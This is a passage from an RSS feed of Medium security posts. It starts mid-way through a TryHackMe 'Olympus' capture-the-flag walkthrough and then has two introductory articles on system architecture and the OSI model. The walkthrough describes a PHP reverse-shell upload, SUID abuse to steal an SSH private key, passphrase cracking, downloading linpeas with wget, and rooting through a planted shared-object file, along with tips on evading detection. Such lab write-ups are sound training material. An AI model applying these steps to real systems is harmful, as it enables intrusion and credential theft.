it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*Y6xGUfO22nmluryUayWkfw.png" /></figure><p>Web application is php app. (<a href="http://chat.olympus.thm/home.php">http://chat.olympus.thm/home.php</a>) Now we will use a php script to get the reverse shell. If you don’t already have it in Kali =&gt; <a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a> there are a zillion variations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*DxeTUBbMya5aTJa9aIZ-iA.png" /></figure><p>I write the IP address and the port I will listen to in the PHP script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*fwvqP9dVpDNDNf8tnmc4TA.png" /></figure><p>I will upload this file while listening on my 50001 port I will trigger this file over the web.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*lUIJzoKmw3rgkMChLYFHhg.png" /></figure><p>Then, we can go on browser =&gt; https://chat.olympus.thm/uploads&lt;/hash&gt;.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*v-x5GrCBkGOwX96txL-PNg.png" /><figcaption>WE ARE IN!</figcaption></figure><h3>PRIVILEGE ESCALATION — [USER FLAG]</h3><p>First thing I want to do is shell upgrade at least bash shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*0tDnt4UEMc6AUgO81ydIuw.png" /></figure><pre>which python3 &amp;&amp; which python # get current version<br>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Now It’s more useful. Let’s check home directory for user enum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*dqi-L02jUjl4twRcruUkzw.png" /></figure><p>As you can see ZEUS is the user. But It’ might be enough. Because there may be users who do not have a folder in home directory. There is two different command to used for user creation. One of them is “useradd” other one is “adduser”. “adduser” command creates home paths automaticly. So we must check /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*yPCnasx-TOqWuZLSDzPa0w.png" /></figure><p>As www-data, we need to check the commands we can run, except for the standard commands mapped to my user and group id. I need to find SUID and SGID defined files. A short reminder:</p><blockquote>The <strong>SUID</strong> and <strong>SGID</strong> feature used in Nix systems are used when a user needs to run a program with more permissions than the rights granted to him. Although suid and sgid are very useful file authorization features, they are a matter to be considered in terms of security. Because files with the suid bit activated can be abused and cause vulnerability.</blockquote><pre>find / -perm -u=s 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*S7nt9Ut7RnjTlORGF1o9Qg.png" /></figure><p>After researching a few commands I didn’t know, I got nothing. After a few tries, I thought that <em>cputils</em> has the same function as the cp command, but that the userid of the process to run is more authoritative than the privileges of the www-data user, I made the following deductions:</p><p>1-) Can I replace the public key in the .ssh folder in the Zeus user’s own directory with my own public key?</p><p>2-) Can I have Zeus’ private key? Maybe I can copy it. Is there a passphrase? Then the machine expired. I am updating my hosts file.</p><p>We need to be careful that our actions do not disrupt the flow of the system in order not to stand out in attempts to penetrate and not to cause alert.</p><blockquote>For example, if the server we are working on is actively used between 09:00 and 18:00, a process that is logged at 21:00 will attract more attention. For our case ,I can copy my public key to zeus public key for override it. Although it is the first thing and maybe the fastest way to override it and connect with my own private key. But it is not gonna allow that user to login to the server via ssh. That will block to zeus’s login. Password auth might not be enabled for the SSH service. So our priority should be to get Zeus’ private key.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*CgWHKkyaiW8hTtpZ6GWDmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*92pKkblQ-MJHxL3ZDc4H-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*cpEpe_94krX3eb4Aln_L1Q.gif" /></figure><p>In order to get the passphrase value, we need to do a brute-force attempt again. Let’s continue with John. In order to crack the keys of files in different formats, we need to use some tools associated with John. It converts private key into a format that John can understand and force. As you can se at the below, there are too many script used for pre brute-force.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*TD58AYLFHWm8WHm_gf6Erw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_9Hr-jMTNzHr9zvtLP3Sw.png" /><figcaption>You may need a telescope. Because Idon’t wanna blur anymore</figcaption></figure><p>I got passphrase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*IFhlrK-2rSFrqijWuINtNw.png" /><figcaption>yummy!</figcaption></figure><h3>PRIVILEGE ESCALATION — [ROOT FLAG]</h3><p>For privilege esc, tools like linpeas or linenum is not gonna be helpfull. You have to proceed manually. You can still move linpeas to the serverand use. I am sharing a few commands you can use to migrate for transfer linenum/linpeas.</p><pre>scp -i id_key4zeus linpeas zeus@olympus.thm:/home/zeus/</pre><pre>rsync -acv -i id_key4zeus linpeas zeus@olympus.thm:/home/zeus/</pre><pre>python3 -m http.server 80 # client<br>wget http://clientIP/linpeas.sh # server</pre><p>Then I checked that step by step:</p><p>Is there any storage service like NFS or S3 ?<br>=&gt;I checked the /etc/fstab and /etc/default directories.</p><p>Is there any schedule jobs / runners?<br>=&gt;I checked the crons. /etc/cron*</p><p>Is there a service that I am not aware of?<br>=&gt;I have listed the services that have been bind to the ports with the<br> netstat -tulpn command.</p><p>Finally, I checked to all directories, especially /var and /opt directories. I think I found what I needed to find. I’ll try to find it with the find command again, as it’s due to distraction. If I had tried to find the files whose group owner is zeus with the find command, I would not have entered such a loop.</p><pre>find / -group zeus -type f 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*-ChRDBPvYcYNYNPfCGLypg.png" /></figure><p>Let’s cat the file. A script has been written where we can get a reverse shell. But the command that connects the shell to the bash process is as at the below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pFQi0DyZS-lHsqZksvGc1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*XcMt2ZpmISun47lBskBXtg.png" /></figure><p>Actually I don’t need to trigger it by web. I can call the so file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ibvanFa5rhXXSdOw5jNUxQ.png" /></figure><p>Finially we are ROOT! So what does the so file do?</p><p>-Take care and I’ll see you next time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f68dd3e96ef7" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/olympus-walkthrough-thm-detailed-f68dd3e96ef7">Olympus Walkthrough [THM]-Detailed</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[System Architecture For Cyber Security]]></title>
            <link>https://medium.com/codingwizards/system-architecture-for-cyber-security-b15d09e7869?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/b15d09e7869</guid>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[development]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Sun, 09 Oct 2022 20:11:18 GMT</pubDate>
            <atom:updated>2022-10-12T10:25:50.794Z</atom:updated>
            <content:encoded><![CDATA[<p>In order to determine efficient attack vectors, we should have deep good understanding about System Architecture. With this we will be able to have out-of-box perspective. But for all of them, we must dominate <a href="https://medium.com/codingwizards/osi-model-for-cyber-security-6dbb4b6a3c6d">OSI MODEL</a>. First, let me talk about the working strategy of the system for a few mins. Then narrative will evolve into a security perspective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*602EX8fzCqiurBgULBCIhQ.png" /></figure><p>Let’s define the system. First of all, It is necessary to distinguish between server and client. Both of them have RAM, CPU and both of them can also make web requests, ssh requests and port listening. So, at first look both of them are similar. But the components has different quests, duties.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*BaFsrbPbF1ij2hdjsKRuww.png" /></figure><p>Clients are only responsible for sending requests. i.e. PUT, POST, GET, TRACE. But servers works differently. Servers handle too many different types of data. So what kind of data? Let’s dig further.</p><h3>Server-Client Architecture</h3><p>As you can see at below, server seems like a tower. There are too many data entries with a lot of different type. Of course I am not gonna explain all of the protocols. I’ve already done at here<a href="https://medium.com/codingwizards/osi-model-for-cyber-security-6dbb4b6a3c6d"> OSI Model</a>. We can see one to many relations on server-client communication. Let’s model that communication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z5ZiqU6NFFD4QHYHx_XWKg.png" /><figcaption>I couldn’t draw very well :)</figcaption></figure><p>Server gets bunch of request from varied clients. Such as FTP for file transfers, SSH for remote login, WEB for surfing on website… Server processes or Servers process all the requests and returns a response for relevant request.</p><h3>Handle Mechanism</h3><p>Imagine the requests coming in through the window. However, each request knows which window to go with the encapsulated data it contains. Finally varied requests go to windows, where they need to go. This is exactly why the server processes each type of request in a different window. We will call these windows, as “<strong>ports</strong>” in the future.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*10Udhc4sFuXwyEKL78cjGQ.png" /><figcaption>Just a little first look.</figcaption></figure><p>Let’s calculate; What are the chances that the server forwards a packet to the wrong client?</p><blockquote>Request={“Mac”:”LocalIPv4&quot;:”LocalPort”:”DestinationWanIPv4&quot;:”DestPort”}</blockquote><p>Risk Statistics = 1 / (2⁴⁸ x 2⁵⁶ x 16383 x 3,706,452,992 x 65535)<br>It seems endless.</p><h3>Cyber Security Vectors</h3><p>System engineers like the communication channels(ports) , to windows. However, these are doors for us, not windows. The door can be opened, closed or half-opened/filtered. Also even a door can be closed, we can knock them. But port knocking is not the topic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*x_a9G2Soo3pq2ZthlQlnJw.png" /><figcaption>As you can see, I can open all the doors :P</figcaption></figure><p>Let’s get more technical. Every single server can serve 65.535 different service. Also clients have 65k ports too. Server makes own services work on its own ports. Such as Web:80, FTP:21, Fax:9001/9002 … Web client want to use a service which is running on the server. Don’t need to talk too much. You can see below;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gHLURza2KAhsUT2noepL4Q.png" /><figcaption>Sequence</figcaption></figure><p>I hope you can visualize it. It’s very important for me. Attack vectors are divided into three: web, operating system and network attacks(green, blue, red). At the description of red zone you are able to see three way handshake. It models us to end2end port connection on network layer. Check this out:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FuwoD5YsGACg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DuwoD5YsGACg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FuwoD5YsGACg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cdb90a4e2f86ff7c4a746f278bcbc838/href">https://medium.com/media/cdb90a4e2f86ff7c4a746f278bcbc838/href</a></iframe><p>In the next article, I will cover detecting state of ports and exploit services. I hope it was useful. See you next time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b15d09e7869" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codingwizards/system-architecture-for-cyber-security-b15d09e7869">System Architecture For Cyber Security</a> was originally published in <a href="https://medium.com/codingwizards">Coding Wizards</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSI Model For Cyber Security]]></title>
            <link>https://medium.com/codingwizards/osi-model-for-cyber-security-6dbb4b6a3c6d?source=rss-3d58c8ba3ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/6dbb4b6a3c6d</guid>
            <category><![CDATA[osi-model]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[network]]></category>
            <dc:creator><![CDATA[Burak Bozacı]]></dc:creator>
            <pubDate>Mon, 27 Jun 2022 19:22:53 GMT</pubDate>
            <atom:updated>2022-06-27T19:22:53.727Z</atom:updated>
            <cc:license>http://creativecommons.org/publicdomain/zero/1.0/</cc:license>
            <content:encoded><![CDATA[<p>The OSI model forms the basis of cyber security and also internet communication. Because “OSI Model” models device-to-device communication. To be able to attack and defend effectively, we need to have a deep understanding of the OSI model.</p><p>It is a model developed for the use of the Internet by everyone. This stack is called the osi model. Each layer separates the data in its own unique way. The parceled data is converted into a binary system and sent to the desired address via cables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*BkrfmE9SQjgjJOJMGOuUZw.png" /></figure><p>Data is processed in the same way when it reaches the destination. But the process works in reverse. Since both parties use the same stack structure, communication is provided for both parties.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVtVM2SQfAjQYIRHcCcaDg.jpeg" /></figure><p>It’s a stack instance which has seven layer. i.e. Client side is trying to access a website. When the client side interacts to website by clicking, client generates a GET request. This request is on the 7th layer in the beginning of the process. We can name our request as “data”. At the next stage, data goes down to 6th layer. Then 5th layer. The model acts like a stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/0*Yr7Yi18ttDrqXhwQ" /></figure><p>But after session layer, the data is transformed as it goes down. The remaining 4 layers have their own headers. And each remaining layer adds its own headers to data.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FKHMwhjQrCmo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DKHMwhjQrCmo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FKHMwhjQrCmo%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/127db85a7714ce4da6eae75f022b0bb2/href">https://medium.com/media/127db85a7714ce4da6eae75f022b0bb2/href</a></iframe><p>For each posted request, the data packet travels through these layers and reaches the destination. Layer-specific header information is added to the data in each layer. As shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/0*ZYcVcx4CFP7zCST7" /></figure><p>In this manner data arrives to physical layer. Transportation is provided by cables. The name of the data changes once the header information is added to the data in the layers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/0*YfI8wmpwVGu0qTDW" /></figure><p>With these headers added, it will have data, source and destination information. Thus, when the data goes to the WAN, it knows where to go where it’s coming from.</p><p>When the data reaches the relevant address, this time the process works in reverse. Each layer data popped up on the local OSI Stack model is added to the target model. Stack is rebuilt. When data reaches to application layer on destination, It is in a form that can be processed in the related service. The data is processed and the response follows the same processes.</p><p>Each individual layer processes its own unique header information. With this way devices working on the layers only process data about themselves. You can observe which device works on which layer is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*P-NUHU04VGpQCKnkA4PJ0w.jpeg" /></figure><p>Because each data processed in the layer is different the attack vectors are unique to layers. We will be examining these attack vectors in the next section.</p><p>-Take care and I’ll see you next time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6dbb4b6a3c6d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codingwizards/osi-model-for-cyber-security-6dbb4b6a3c6d">OSI Model For Cyber Security</a> was originally published in <a href="https://medium.com/codingwizards">Coding Wizards</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>